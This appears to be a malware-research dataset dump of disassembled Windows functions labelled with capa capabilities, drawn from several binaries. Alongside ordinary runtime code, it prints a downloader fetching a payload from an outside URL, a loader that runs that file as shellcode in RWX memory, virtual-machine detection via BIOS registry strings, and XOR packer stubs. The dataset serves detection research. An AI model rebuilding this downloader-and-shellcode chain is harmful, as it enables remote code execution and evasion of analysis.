joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10143d0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1020dd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x24], eax
call fcn.0100df45
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
cmp dword [0x1023878], ebx
jne 0x10144bf
push ebx
push ebx
push 0x10048d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
jne 0x101442a
xor eax, eax
jmp 0x1014583
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10048c8
push edi
call esi
cmp eax, ebx
je 0x1014423
push eax
call fcn.0100decd
mov dword [esp], 0x10048b8
push edi
mov dword [0x1023878], eax
call esi
push eax
call fcn.0100decd
mov dword [esp], 0x10048a4
push edi
mov dword [0x102387c], eax
call esi
push eax
call fcn.0100decd
mov dword [0x1023880], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0100d15e
pop ecx
pop ecx
test eax, eax
je 0x101448d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0100f4e9
add esp, 0x14
cmp dword [ebp - 0x18], 2
jne 0x10144bf
push 0x1004888
push edi
call esi
push eax
call fcn.0100decd
pop ecx
mov dword [0x1023888], eax
cmp eax, ebx
je 0x10144bf
push 0x1004870
push edi
call esi
push eax
call fcn.0100decd
pop ecx
mov dword [0x1023884], eax
mov eax, dword [0x1023884]
mov esi, dword [ebp - 0x20]
cmp eax, esi
je 0x1014538
cmp dword [0x1023888], esi
je 0x1014538
push eax
call fcn.0100df53
pop ecx
call eax
cmp eax, ebx
je 0x1014505
lea ecx, [ebp - 0x2c]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
push dword [0x1023888]
call fcn.0100df53
pop ecx
call eax
test eax, eax
je 0x1014505
test byte [ebp - 8], 1
jne 0x1014538
lea eax, [ebp - 0x1c]
push eax
call fcn.0100d19f
pop ecx
test eax, eax
je 0x1014520
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0100f4e9
add esp, 0x14
cmp dword [ebp - 0x1c], 4
jb 0x101452f
or dword [ebp + 0x10], 0x200000
jmp 0x1014569
or dword [ebp + 0x10], 0x40000
jmp 0x1014569
mov eax, dword [0x102387c]
cmp eax, esi
je 0x1014569
push eax
call fcn.0100df53
pop ecx
call eax
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x1014569
mov eax, dword [0x1023880]
cmp eax, esi
je 0x1014569
push dword [ebp - 0x14]
push eax
call fcn.0100df53
pop ecx
call eax
mov dword [ebp - 0x14], eax
push dword [ebp + 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push dword [0x1023878]
call fcn.0100df53
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0100c443
leave
ret
Function at 0x10165c7
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x1020dd0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0xc]
push edi
xor esi, esi
push eax
mov dword [ebp - 0xc], esi
call fcn.0100d15e
pop ecx
test eax, eax
je 0x10165fc
push esi
push esi
push esi
push esi
push esi
call fcn.0100f4e9
add esp, 0x14
push 4
pop eax
call fcn.0100ca90
mov dword [ebp - 0x14], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1016716
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x58]
dec edi
neg edi
sbb edi, edi
and edi, 0x103
inc edi
cmp dword [ebp - 0xc], 2
mov dword [ebp - 8], esi
jne 0x1016691
mov dword [ebp - 0x10], esi
mov esi, dword [0x1022034]
push 0x1004850
call esi
test eax, eax
jne 0x1016668
push 0x1004834
call esi
test eax, eax
je 0x1016691
push 0x1005444
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1016691
and dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push ecx
call eax
cmp eax, 1
jne 0x1016691
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1016691
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea esi, [ebx - 1]
push esi
push dword [ebp - 8]
call fcn.0100d856
add esp, 0xc
test eax, eax
js 0x1016716
not esi
and dword [ebp - 8], esi
je 0x10166c3
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 8]
call fcn.0100d856
add esp, 0xc
test eax, eax
js 0x1016716
lea eax, [ebx + ebx]
cmp dword [ebp - 8], eax
jae 0x10166ce
mov dword [ebp - 8], eax
lea esi, [ebx - 1]
not esi
and esi, dword [ebp - 0x14]
sub esi, dword [ebp - 8]
cmp dword [ebp - 0xc], 1
jne 0x10166e2
push 0x11
pop ebx
add ebx, dword [ebp - 0x18]
cmp esi, ebx
jb 0x1016716
push 4
push 0x1000
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x1016716
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1016716
xor eax, eax
inc eax
jmp 0x1016718
xor eax, eax
lea esp, [ebp - 0x68]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0100c443
leave
ret
Function at 0x4011c9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDocumentslogo.cco
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402fa2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa8
mov eax, dword [0x41d718]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
lea eax, [ebp - 0x2c]
push eax
push 0x20019
xor ebx, ebx
push ebx
mov esi, str.HARDWAREDESCRIPTIONSystemBIOS
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403002
push esi
push str.Failed_to_open_registry_key:
push 0x41e870
call fcn.00402621
pop ecx
pop ecx
push eax
call fcn.00402621
push eax
call fcn.00402c59
add esp, 0xc
xor al, al
jmp 0x4030f4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push str.SystemManufacturer
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403048
push str.Failed_to_query_value:_SystemManufacturer
push 0x41e870
call fcn.00402621
push eax
call fcn.00402c59
add esp, 0xc
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402ffb
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403064
sub eax, edx
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040251b
push ebx
push str.VMware
lea ecx, [ebp - 0x28]
call fcn.00401bca
or esi, 0xffffffff
cmp eax, esi
jne 0x4030e7
push ebx
push str.Virtual
lea ecx, [ebp - 0x28]
call fcn.00401bca
cmp eax, esi
jne 0x4030e7
push ebx
push str.Microsoft_Corporation
lea ecx, [ebp - 0x28]
call fcn.00401bca
cmp eax, esi
jne 0x4030e7
push ebx
push str.innotek_GmbH
lea ecx, [ebp - 0x28]
call fcn.00401bca
cmp eax, esi
jne 0x4030e7
push ebx
push str.Parallels_Software_International_Inc.
lea ecx, [ebp - 0x28]
call fcn.00401bca
cmp eax, esi
jne 0x4030e7
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00401c63
jmp 0x402ffb
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00401c63
mov al, 1
mov ecx, dword [ebp + 0x74]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f7c
add ebp, 0x78
leave
ret
Function at 0x4032a8
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.00405d00
push 0xffffffffffffffff
push 0x4161a0
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x41d718]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x4033a1
push ebx
push 0x80000000
push ebx
push ebx
push str.http:__bcuuq.cn_index_index_id5
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x403398
push 1
push 0x40
push 0x20
push str.C:UsersPublicDocumentslogo.cco
lea ecx, [ebp - 0xc0]
call fcn.00403194
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x68], ebx
je 0x403380
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, 0x1000
jmp 0x403363
cmp dword [ebp - 0x14], ebx
jbe 0x403375
push ebx
push dword [ebp - 0x14]
lea eax, [ebp]
push eax
lea ecx, [ebp - 0xc0]
call fcn.004028a0
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp]
push eax
push dword [ebp - 0x10]
call esi
test eax, eax
jne 0x40334b
lea ecx, [ebp - 0xc0]
call fcn.00403105
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.0040326f
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.00404f7c
add ebp, 0x1004
leave
ret

Function at 0x404f7c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d718]
jne 0x404f86
repz ret
jmp fcn.00409b5c
Function at 0x4122dd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d718]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409520
and dword [ebp - 0x14], 0
cmp dword [0x41f67c], 0
mov dword [ebp - 0x18], eax
jne 0x412390
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412438
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x412438
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41f67c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41f680], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41f684], eax
call edi
push eax
call esi
mov dword [0x41f68c], eax
test eax, eax
je 0x412390
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41f688], eax
mov eax, dword [0x41f688]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4123e9
cmp dword [0x41f68c], ecx
je 0x4123e9
push eax
call esi
push dword [0x41f68c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4123e9
test ebx, ebx
je 0x4123e9
call edi
test eax, eax
je 0x4123e0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4123e0
test byte [ebp - 8], 1
jne 0x4123e9
or dword [ebp + 0x10], 0x200000
jmp 0x41241c
mov eax, dword [0x41f680]
cmp eax, dword [ebp - 0x18]
je 0x41241c
push eax
call esi
test eax, eax
je 0x41241c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41241c
mov eax, dword [0x41f684]
cmp eax, dword [ebp - 0x18]
je 0x41241c
push eax
call esi
test eax, eax
je 0x41241c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41f67c]
call esi
test eax, eax
je 0x412438
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41243a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f7c
leave
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x408f6c
mov ecx, 0x4d9948ec
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x30034996
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x63c35763
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x7ba7534c
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2b572b9
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x6f3c5eb7
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x407429
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
push edi
mov ecx, 0x65fe0c
mov edi, SysReAllocString
mov esi, 0x9908b0df
mov eax, dword [ecx]
xor eax, dword [ecx + 4]
and eax, edi
xor eax, dword [ecx]
mov ebx, eax
and bl, 1
movzx ebx, bl
neg ebx
sbb ebx, ebx
and ebx, esi
xor ebx, dword [ecx + 0x634]
shr eax, 1
xor ebx, eax
mov dword [ecx - 0x9c0], ebx
add ecx, 4
mov eax, 0x660198
cmp ecx, eax
jl 0x40743b
mov ecx, eax
mov eax, dword [ecx]
xor eax, dword [ecx + 4]
and eax, edi
xor eax, dword [ecx]
mov ebx, eax
and bl, 1
movzx ebx, bl
neg ebx
sbb ebx, ebx
and ebx, esi
xor ebx, dword [ecx - 0xd4c]
shr eax, 1
xor ebx, eax
mov dword [ecx - 0x9c0], ebx
add ecx, 4
cmp ecx, 0x6607c8
jl 0x407470
mov ecx, dword [0x6607c8]
mov eax, ecx
xor eax, dword [0x65f44c]
and eax, edi
xor eax, ecx
mov ecx, eax
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
and dword [0x65f448], 0
and ecx, esi
shr eax, 1
xor ecx, eax
xor ecx, dword [0x65fa7c]
pop edi
pop esi
mov dword [0x65fe08], ecx
pop ebx
ret

Function at 0x4074dd
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov ecx, 0x65f450
mov eax, dword [ecx - 4]
xor eax, dword [ecx]
and eax, 0x7fffffff
xor eax, dword [ecx - 4]
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0x9908b0df
xor edx, dword [ecx + 0x630]
shr eax, 1
xor edx, eax
mov dword [ecx + 0x9bc], edx
add ecx, 4
cmp ecx, 0x65fe10
jl 0x4074e2
ret

Function at 0x4103eb
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov eax, 0x5e192a
call fcn.005c1e48
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
push 7
pop eax
xor edx, edx
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x10], ecx
mov word [ebx], dx
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x2c], ecx
mov word [ebx + 0x1c], dx
mov dword [ebx + 0x4c], eax
mov dword [ebx + 0x48], ecx
mov word [ebx + 0x38], dx
mov dword [ebx + 0x68], eax
mov dword [ebx + 0x64], ecx
mov word [ebx + 0x54], cx
and dword [ebx + 0x80], edx
mov dword [ebx + 0x84], eax
xor eax, eax
mov word [ebx + 0x70], ax
push 0xffffffffffffffff
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
mov byte [ebp - 4], 9
call fcn.004016b6
push 0xffffffffffffffff
push 0
lea eax, [ebp + 0x28]
lea ecx, [ebx + 0x1c]
call fcn.004016b6
push 0xffffffffffffffff
xor esi, esi
push esi
lea eax, [ebp + 0x44]
lea ecx, [ebx + 0x38]
call fcn.004016b6
push 0xffffffffffffffff
push esi
lea eax, [ebp + 0x60]
lea ecx, [ebx + 0x54]
call fcn.004016b6
push 0xffffffffffffffff
push esi
lea eax, [ebp + 0x7c]
lea ecx, [ebx + 0x70]
call fcn.004016b6
push 1
xor edi, edi
lea esi, [ebp + 0xc]
call fcn.004018e3
push 1
lea esi, [ebp + 0x28]
call fcn.004018e3
push 1
lea esi, [ebp + 0x44]
call fcn.004018e3
push 1
lea esi, [ebp + 0x60]
call fcn.004018e3
push 1
lea esi, [ebp + 0x7c]
call fcn.004018e3
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x90
Function at 0x41227c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041ca7c
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4122b5
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00411eb9
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x412313
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x412337
cmp dword [edi + 0x74], 0
jne 0x412337
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0041ca7c
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004122d4
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41a8cf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41a916
call fcn.0041ca7c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a916
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41a932
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041a3cf
mov esi, eax
test edi, edi
je 0x41a930
test ebx, ebx
je 0x41a930
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41b80f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5c29b9
call fcn.0051b5cc
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41b834
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41b886
call fcn.00410911
push eax
lea ecx, [ebp - 0x10]
call fcn.004013b8
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0051841b
push eax
call fcn.00401ae0
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401408
mov eax, esi
call fcn.0051b6a4
ret 8
Function at 0x41ce5b
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0041caff
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41cea5
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040fa27
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00402037
jmp 0x41ceb0
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00425d9b
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x41ceb6
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041b0de
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41cef3
call fcn.0041caff
mov dword [esi + 0xc], 1
jmp 0x41cef8
call fcn.0041caff
cmp dword [esi], 0
je 0x41cf41
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x41cf19
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040fa27
jmp 0x41cf2b
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.0040131b
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00402037
jmp 0x41cf65
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x41cf65
push dword [esi]
push dword [ebp + 8]
call fcn.00425d9b
pop esi
pop ebp
ret 0xc

Function at 0x41fe1a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x65dde0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x41fe5f
push 0x5e8040
push 4
push eax
call fcn.00518bcf
push eax
call fcn.00401ae0
add esp, 0x10
jmp 0x41fe75
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fef5
push edi
call fcn.0051b764
mov edi, dword [eax]
call fcn.0051b764
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.005194ca
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0051b764
cmp dword [eax], 0
je 0x41fec9
call fcn.0051b764
push dword [eax]
call fcn.0041104a
pop ecx
jmp 0x41fed0
call fcn.0051b764
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
pop edi
je 0x41fef5
cmp dword [ebp - 0x234], esi
jae 0x41fef5
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x41fef7
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0051b5bd
leave
ret